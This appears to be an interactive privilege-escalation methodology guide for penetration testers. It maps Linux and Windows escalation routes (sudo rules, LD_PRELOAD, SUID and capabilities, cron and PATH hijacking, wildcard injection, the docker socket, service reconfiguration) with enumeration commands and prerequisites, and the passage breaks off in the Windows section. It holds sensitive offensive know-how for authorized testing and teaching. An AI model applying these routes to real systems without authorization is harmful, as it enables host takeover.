The sudo rule and privileged backup consumer open different candidate families; neither should be replaced by an automatic kernel choice.
Still check: For each candidate establish exact permitted operation/object, run-as identity and trigger.
Illustrative output
uid=USER_ID(APP_USER) groups=APP_GROUP (root) NOPASSWD: /usr/bin/find root ... /bin/sh /OPT_PATH/backup.sh
Validate prerequisites and compare methods
A working command channel and accurate effective identity, group, mount and process context
hostname
id
uname -a
cat /etc/os-release
findmnt
sudo -l
What did you find?
Enabled: A candidate's complete permission/consumer chain is validated: choose that specific method.
Ruled out here: A highlighted process belongs to the same low user: reject its assumed privilege gain.
Unresolved: Permission-denied inventory is incomplete visibility; use known application paths and supported built-ins.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
Use privileged group, daemon or container-management control — Membership or socket ACLs permit controlling a rootful daemon or useful session
Requires: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation
Select an evidence-matched Linux software or kernel exploit — Permission/credential paths are insufficient and an exact affected build/configuration is present
Requires: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions
Prove effective file, directory, ACL and mount controlNot inspectedA root-consumed file or directory appears writable
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT
Read the result
Parent replacement can provide a control primitive even when the existing file's write bit is absent.
Still check: Run namei -l, stat and getfacl on the exact path and its parents, then findmnt -T for ro/noexec/nosuid. Check the identity and trigger of the process that uses this path; write permission alone is not execution.
Illustrative output
file: root-owned, not directly writable parent: current group has write+execute mount: rw
Validate prerequisites and compare methods
Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT
What did you find?
Enabled: The precise object can be replaced and is consumed under a higher identity: choose that control path.
Ruled out here: Parent/file rights do not grant the needed operation: reject that proposed write.
Unresolved: An ACL listing without effective trustee/mount context leaves control unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger
Change a writable account or privilege-policy file — Account metadata or a privilege-policy file appears writable
Requires: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original
Recover credentials from Linux user, service and process trailsNot inspectedReadable configuration, shell history, environment, process arguments or session sockets
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
ps auxww
history
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null
Read the result
An actual service's readable configuration supplies an identity-labelled secret candidate.
Still check: Read the named config/history/process artifact and record the user, service and host it belongs to. Classify a recovered password/key, test one matching service context and verify the accepted identity before trying reuse elsewhere.
Illustrative output
Process: APP_SERVICE --config /opt/APP/config.ini Readable file: /opt/APP/config.ini Setting: database_user=DB_USER; password=PASSWORD
Validate prerequisites and compare methods
Read access to the artifact; exact account/service context; session/agent access must include a usable live identity
history
ps auxww
env
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null
What did you find?
Enabled: The secret works in its verified identity/service context: use that access and re-enumerate.
Ruled out here: The value is a stale example and no longer accepted: reject that credential pairing.
Unresolved: A token-like string without service/account context requires provenance work before reuse.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions
Use an allowed sudo operation to cross a privilege boundaryNot inspectedsudo -l grants an operation under a more useful identity
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
sudo -n -l 2>&1
sudo -l
Read the result
The rule permits that exact program as root; its documented privileged operation becomes a candidate.
Still check: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.
Illustrative output
User USER may run:
(root) NOPASSWD: /usr/bin/findValidate prerequisites and compare methods
Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
sudo -n -l 2>&1
sudo -l
What did you find?
Enabled: The allowed invocation exposes a useful operation and its effect is verified: choose that sudo method.
Ruled out here: Only a fixed harmless argument pattern is permitted: reject the unrestricted escape assumption.
Unresolved: A password-required response does not show the rule; obtain the legitimate credential/context before deciding.
Show connections
These are conditional possibilities. Check the named condition before moving.
Load a controlled library through a permitted sudo environment — A sudo rule explicitly preserves or permits a loader variable
Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity
Load a controlled library through a permitted sudo environmentNot inspectedA sudo rule explicitly preserves or permits a loader variable
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM
Read the result
Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.
Still check: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.
Illustrative output
env_keep includes LD_PRELOAD, or applicable SETENV Allowed program: dynamically linked Run-as: root
Validate prerequisites and compare methods
Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it
sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM
What did you find?
Enabled: The permitted loader consumes the chosen library and its effect runs under the expected identity: select this route.
Ruled out here: The binary is static or the variable is sanitized: reject this preload chain.
Unresolved: SETENV alone without compatible consumer/loader evidence leaves the route incomplete.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger
Use a SUID or SGID program's exposed privileged primitiveNot inspectedA nonstandard or dangerous privileged executable
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY
Read the result
The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.
Still check: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.
Illustrative output
-rwsr-xr-x root root /opt/APP/custom-helper -rwxr-sr-x root GROUP /PATH/TO/SGID_HELPER
Validate prerequisites and compare methods
Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY
What did you find?
Enabled: The program exposes a permitted privileged read/write/exec operation: choose that exact mode.
Ruled out here: It drops privilege before the controllable operation or runs on nosuid: reject that assumed transition.
Unresolved: Only the SUID listing is known: inspect its actual behavior and constraints before choosing an escape.
Show connections
These are conditional possibilities. Check the named condition before moving.
Hijack an unqualified helper through controlled PATH resolution — A privileged program/job invokes a helper without an absolute path
Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists
Use a file capability that enables a specific privileged operation — An interpreter/helper has an effective high-value capability
Requires: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use
Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger
Use a file capability that enables a specific privileged operationNot inspectedAn interpreter/helper has an effective high-value capability
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
getcap -r / 2>/dev/null
capsh --print 2>/dev/null
Read the result
The specific interpreter has effective set-UID authority, unlike an ordinary copy of python3 elsewhere.
Still check: Read getcap for the exact executable, inspect its mount and match the named capability to the program operation. A version or capability name alone does not prove that the program retains a useful effective capability.
Illustrative output
/opt/TOOLS/python3 cap_setuid=ep
Validate prerequisites and compare methods
The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use
getcap -r / 2>/dev/null
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
What did you find?
Enabled: The exact capability-backed operation changes the effective identity as expected: select that method.
Ruled out here: Only cap_net_raw exists for the candidate: reject the assumed general UID-changing route.
Unresolved: A capability name without effective-context/consumer evidence is insufficient.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity
Use a SUID or SGID program's exposed privileged primitive — A nonstandard or dangerous privileged executable
Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege
Control a script, binary or configuration consumed by a privileged job/serviceNot inspectedRoot-owned cron, systemd or recurring process activity uses a controllable object
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
cat /etc/crontab
systemctl list-timers --all
ps auxww
Read the result
The schedule explicitly names a privileged consumer and an exact file to inspect.
Still check: Observe the actual command and UID with pspy or inspect the unit with systemctl cat/show. Run namei -l, stat and getfacl on the consumed path and parents; identify the timer, restart or invocation before changing the file.
Illustrative output
* * * * * root /opt/APP/backup.sh Script path: /opt/APP/backup.sh
Validate prerequisites and compare methods
Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
cat /etc/crontab
systemctl list-timers --all
ps auxww
What did you find?
Enabled: The controlled object is consumed at a confirmed privileged trigger: choose the job/service method.
Ruled out here: The real job runs as the same low user: reject privilege gain through that action.
Unresolved: A stale job file without observed activity/usable trigger leaves execution unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
Hijack an unqualified helper through controlled PATH resolution — A privileged program/job invokes a helper without an absolute path
Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists
Turn wildcard-expanded filenames into privileged command options — A privileged job passes an uncontrolled directory glob to an option-parsing utility
Requires: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger
Hijack an unqualified helper through controlled PATH resolutionNot inspectedA privileged program/job invokes a helper without an absolute path
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY
Read the result
An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.
Still check: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.
Illustrative output
Helper invocation: backup_tool ARGUMENT Consumer PATH: /CONTROLLED_DIRECTORY:/usr/bin:/bin
Validate prerequisites and compare methods
A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists
printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
What did you find?
Enabled: The consumer selects the controlled helper under the higher identity: use the verified resolution route.
Ruled out here: It invokes /usr/bin/backup_tool by absolute path or uses a protected PATH: reject this hijack.
Unresolved: A strings result alone does not prove an executed call or inherited PATH; inspect/observe the consumer.
Show connections
These are conditional possibilities. Check the named condition before moving.
Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
Use a SUID or SGID program's exposed privileged primitive — A nonstandard or dangerous privileged executable
Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Turn wildcard-expanded filenames into privileged command optionsNot inspectedA privileged job passes an uncontrolled directory glob to an option-parsing utility
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY
Read the result
Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.
Still check: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.
Illustrative output
Job command: tar ... * Working directory: /CONTROLLED_DIRECTORY Caller: root
Validate prerequisites and compare methods
Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger
namei -l /PATH/TO/JOB_DIRECTORY
ls -la /PATH/TO/JOB_DIRECTORY
What did you find?
Enabled: The actual invocation accepts the useful injected option and privileged effect is verified: select that mechanism.
Ruled out here: The job uses -- before expanded filenames or no compatible glob: reject that option-injection route.
Unresolved: A wildcard-looking string without execution/working-directory evidence is only a candidate.
Show connections
These are conditional possibilities. Check the named condition before moving.
Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
Change a writable account or privilege-policy fileNot inspectedAccount metadata or a privilege-policy file appears writable
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null
Read the result
A sensitive account file appears writable; the authentication implementation and valid record syntax determine its effect.
Still check: Preserve original state; confirm exact effective write, file consumer, useful identity and recovery/trigger.
Illustrative output
/etc/passwd: mode=0666 owner=root Effective write for current identity: present
Validate prerequisites and compare methods
Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original
stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null
What did you find?
Enabled: The valid authorized change produces the intended authentication/policy effect: choose this sensitive-file route.
Ruled out here: The filesystem/ACL denies the required operation: reject the writable-file hypothesis.
Unresolved: Mode bits without ACL/mount/consumer evidence leave a safe usable transition unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
Use privileged group, daemon or container-management controlNot inspectedMembership or socket ACLs permit controlling a rootful daemon or useful session
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
id
ls -l /var/run/docker.sock
cat /proc/1/cgroup
Read the result
Effective socket access suggests daemon control; group text alone does not establish host-affecting rootful operations.
Still check: Check API acceptance, rootful/rootless and namespace policy, available resources and the specific host operation.
Illustrative output
groups include docker Socket group: docker; group read/write Container/host context: verify separately
Validate prerequisites and compare methods
Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation
id
ls -l /var/run/docker.sock
findmnt
cat /proc/1/cgroup
What did you find?
Enabled: A rootful daemon permits the required host-affecting operation: use that documented route.
Ruled out here: A rootless/user-namespaced daemon cannot grant the assumed host-root effect: reject that chain.
Unresolved: Socket presence without usable API permissions leaves the control claim unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity
Exploit a permission-backed mount, NFS mapping or local service — A writable/exported filesystem or a loopback-only service with useful privileges
Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer
Exploit a permission-backed mount, NFS mapping or local serviceNot inspectedA writable/exported filesystem or a loopback-only service with useful privileges
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
findmnt
cat /etc/exports 2>/dev/null
ss -lntup
Read the result
A local-only service or export mapping creates a specific investigation route, not automatic escalation.
Still check: For the service check accepted identity/rights; for NFS check client mapping, write permissions, mount flags and target-side consumer.
Illustrative output
Listener: 127.0.0.1:DATABASE_PORT Export option candidate: no_root_squash
Validate prerequisites and compare methods
Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer
findmnt
cat /etc/exports 2>/dev/null
ss -lntup
ss -lxnp
What did you find?
Enabled: The complete mapped-file or authenticated local-service primitive is verified: select it.
Ruled out here: root_squash/nosuid or insufficient service rights defeats the proposed privileged chain.
Unresolved: Export text or a listen socket without actual access leaves the candidate incomplete.
Show connections
These are conditional possibilities. Check the named condition before moving.
Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access
Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions
Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
Control a privileged program's shared-library resolutionNot inspectedA privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
Read the result
A named dependency plus a potentially controlled search location is a loader-resolution candidate.
Still check: Verify actual runtime selection, ABI/symbols, secure-execution rules, retained privilege and a trigger.
Illustrative output
NEEDED: libAPP.so RUNPATH: /CONTROLLED_LIBRARY_DIRECTORY
Validate prerequisites and compare methods
Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger
readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
file /PATH/TO/BINARY
What did you find?
Enabled: The higher-identity process actually loads the controlled compatible library: select that chain.
Ruled out here: A protected earlier library or secure-loader behavior prevents selection: reject the assumed path.
Unresolved: Static dependency output alone leaves actual privileged resolution unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Load a controlled library through a permitted sudo environment — A sudo rule explicitly preserves or permits a loader variable
Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Select an evidence-matched Linux software or kernel exploitNot inspectedPermission/credential paths are insufficient and an exact affected build/configuration is present
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
uname -a
cat /etc/os-release
getconf LONG_BIT
Read the result
A version-associated advisory is a candidate; backports and feature state determine applicability.
Still check: Collect uname and the distribution's package/build plus architecture. Match the advisory's vulnerable feature and vendor patch status before choosing a PoC; try a confirmed sudo/file/credential route first when one exists.
Illustrative output
Kernel release: KERNEL_RELEASE Distribution package/build: VENDOR_BUILD Required vulnerable feature: not yet verified
Validate prerequisites and compare methods
Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions
uname -a
cat /etc/os-release
getconf LONG_BIT
What did you find?
Enabled: Affected code/configuration and compatible reviewed PoC are established: select its bounded test.
Ruled out here: The vendor build includes the fix or required feature is absent: reject that exploit.
Unresolved: A release string without patch/configuration evidence leaves vulnerability unconfirmed.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Use enumeration tools to generate manually testable candidatesNot inspectedA Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths
Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context
Discover the clue
id
uname -m
command -v bash python3
ls -ld /tmp
Read the result
The highlight supplies a candidate object, not the missing privileged consumer or execution trigger.
Still check: Run the reviewed LinPEAS baseline and save its output. For sudo highlights run sudo -l; for a flagged file use stat/namei/getfacl; for jobs confirm the UID and command with pspy or systemctl. Open the matching technique only after that check.
Illustrative output
Enumerator candidate: writable /opt/APP/script.sh Consumer identity: unknown Trigger: unknown
Validate prerequisites and compare methods
Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location
id
uname -m
command -v bash python3
ls -ld /tmp
What did you find?
Enabled: The full manual chain validates: follow its owning method.
Ruled out here: Only a low-privileged process consumes the object: reject the escalation hypothesis.
Unresolved: Missing tools or restricted /proc can hide evidence; investigate application-specific paths manually.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Escalate privileges on Windows
Establish Windows token, host and process contextNot inspectedA new Windows session or claimed administrator/SYSTEM transition
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
whoami /all
systeminfo
tasklist /svc
Read the result
An Administrators SID exists but this effective process is filtered/medium-integrity.
Still check: Check actual enabled privileges and object operations in the process that will perform the action.
Illustrative output
BUILTIN\Administrators: Group used for deny only Mandatory Label\Medium Mandatory Level
Validate prerequisites and compare methods
A functioning command channel and the actual effective token/process context
hostname
whoami /all
systeminfo
ipconfig /all
What did you find?
Enabled: A higher-integrity/SYSTEM token and intended operation are verified: record that privilege state.
Ruled out here: A medium filtered token cannot perform the assumed administrative action: reject that privilege assumption.
Unresolved: Username/group membership alone leaves token state unknown; inspect whoami /all.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger
Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context
Exploit an unquoted service path with a writable earlier prefix — A service command line contains unquoted spaces
Requires: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists
Validate elevated installer policy and administrative-token context — Installer policy values or an administrator account with a filtered token
Requires: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context
Prove effective file, registry and service-object permissionsNot inspectedA privileged object appears writable or an ACL tool reports a useful right
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
Read the result
A modifiable parent can differ from a read-only file; service configuration rights are another control plane.
Still check: Use icacls/Get-Acl on the reported object and parents. For a service also inspect sc qc/sc sdshow; for a task inspect its action/principal. Check the specific write/replace/configuration operation and its trigger.
Illustrative output
File: BUILTIN\Users:(RX) Parent: DOMAIN\GROUP:(M) Service-object rights: separate DACL
Validate prerequisites and compare methods
Correct trustee/token, object type and effective rights including parents and deny entries
whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
What did you find?
Enabled: The intended effective operation and higher consumer are proved: select that object-control method.
Ruled out here: Only read/execute applies to the current token: reject the proposed modification.
Unresolved: An ACL for an inactive or ambiguous group leaves effective access unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Replace a privileged service binary or consumed file — A privileged service consumes a file whose bytes or parent replacement are controllable
Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger
Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger
Control a privileged DLL, helper or configuration load — A privileged application searches for a missing dependency or consumes writable configuration
Requires: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger
Recover Windows application, history and stored-credential artifactsNot inspectedReadable application configuration, unattended setup, PowerShell trails or Credential Manager entries
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
Read the result
A target-bound saved credential is a possible consumer capability, not a plaintext password.
Still check: Establish protecting user/context, intended logon type and an actually permitted saved-credential or decryption route.
Illustrative output
cmdkey target: Domain:target=TARGET_HOST User: DOMAIN\USER Password: not displayed
Validate prerequisites and compare methods
Artifact read permission and exact protecting identity/context for saved or DPAPI material
cmdkey /list
whoami /all
What did you find?
Enabled: The matching consumer accepts the credential and the resulting token is checked: use that access.
Ruled out here: The stored entry belongs to another context/target and cannot be used here: reject that transition.
Unresolved: A protected blob/listing without keys or consumer evidence leaves usable credentials unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Use Credential Manager and DPAPI with the protecting context — Saved credentials or protected application blobs/master keys
Requires: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor
Change a privileged service's executable configurationNot inspectedEffective SERVICE_CHANGE_CONFIG on a higher-privileged service
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
Read the result
Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.
Still check: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.
Illustrative output
SERVICE_START_NAME: LocalSystem Effective service rights: SERVICE_CHANGE_CONFIG SERVICE_START
Validate prerequisites and compare methods
Configuration-change right, accessible compatible payload path and a separate start/restart trigger
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"
What did you find?
Enabled: The controlled configuration is consumed at a usable trigger and effect is verified: choose service configuration abuse.
Ruled out here: Only query rights are granted: reject the ability to change binPath.
Unresolved: CHANGE_CONFIG without a usable trigger remains an incomplete candidate.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger
Replace a privileged service binary or consumed fileNot inspectedA privileged service consumes a file whose bytes or parent replacement are controllable
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
sc.exe qc SERVICE
